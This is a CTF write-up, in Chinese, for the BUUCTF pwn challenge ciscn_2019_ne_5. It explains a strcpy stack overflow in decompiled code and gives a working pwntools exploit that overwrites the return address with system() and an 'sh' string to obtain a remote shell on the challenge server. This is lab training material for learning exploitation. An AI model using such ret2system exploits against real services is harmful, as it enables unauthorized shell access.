[BUUCTF-pwn]——ciscn_2019_ne_5
- 题目地址:https://buuoj.cn/challenges#ciscn_2019_ne_5
checksec下
在IDA中,竟然不给我反汇编,第一次碰到.
查了下解决方法,在反汇编失败的地方,单独反汇编就好.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // [esp+0h] [ebp-100h]
char src[4]; // [esp+4h] [ebp-FCh]
char v5; // [esp+8h] [ebp-F8h]
char s1[4]; // [esp+84h] [ebp-7Ch]
char v7; // [esp+88h] [ebp-78h]
char *v8; // [esp+E8h] [ebp-18h]
int *v9; // [esp+ECh] [ebp-14h]
int *v10; // [esp+F4h] [ebp-Ch]
v10 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(&v7, 0, 0x60u);
*(_DWORD *)src = 48;
memset(&v5, 0, 0x7Cu);
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf();
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
v9 = &v3;
v8 = "%d";
__isoc99_scanf();
switch ( v3 )
{
case 0:
exit(0);
return;
case 1:
v8 = src;
AddLog();
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}
由于最开始的反汇编失败,反汇编的代码可能与实际有些许出入,应该就是反汇编失败的地方,__isoc99_scanf() 函数. 通过验证得到第一个是给s1赋值,第二个是给v3赋值;AddLog()函数里面的应该是给src赋值
思路也就出来了: 在1选项中AddLog()给src赋值, 然后,在4选项,通过strcpy给dest赋值,进行栈溢出的利用.
查看一下,有没有可以利用的字符串,毕竟已经找到了system函数
发现了 ‘sh’ 字符
exploit
from pwn import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
p = remote("node3.buuoj.cn",25035)
sh_addr = 0x080482ea
system_addr = 0x080486B9
p.sendlineafter("Please input admin password:",'administrator')
p.sendlineafter("0.Exit\n:",'1')
payload = 'a'*(0x48+0x4)+p32(system_addr)+p32(sh_addr)
p.sendlineafter("Please input new log info:",payload)
p.sendlineafter("0.Exit\n:",'4')
p.interactive()